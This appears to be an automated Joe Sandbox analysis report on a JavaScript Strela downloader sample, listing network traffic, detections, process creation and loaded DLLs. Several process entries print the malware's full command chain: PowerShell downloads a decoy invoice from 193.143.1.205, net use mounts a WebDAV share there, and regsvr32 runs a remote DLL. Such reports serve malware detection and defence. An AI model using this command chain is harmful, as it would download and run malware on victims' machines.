6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49702

Source: global traffic

TCP traffic: 192.168.2.7:49702 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49701 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000004.00000002.1276508613.00000125CAB8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1350130424.0000024205A48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1350130424.0000024205A99000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1350130424.0000024205A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1350130424.0000024205A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/%
Source: net.exe, 0000000D.00000002.1350130424.0000024205A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 0000000F.00000002.2565117240.00000265F6A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1353124829.00000265F6760000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5476, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2513521629114031259.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7188:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3xxxkhij.wx1.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2513521629114031259.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1688,i,1640275491988738719,18112798055175536522,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1688,i,1640275491988738719,18112798055175536522,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
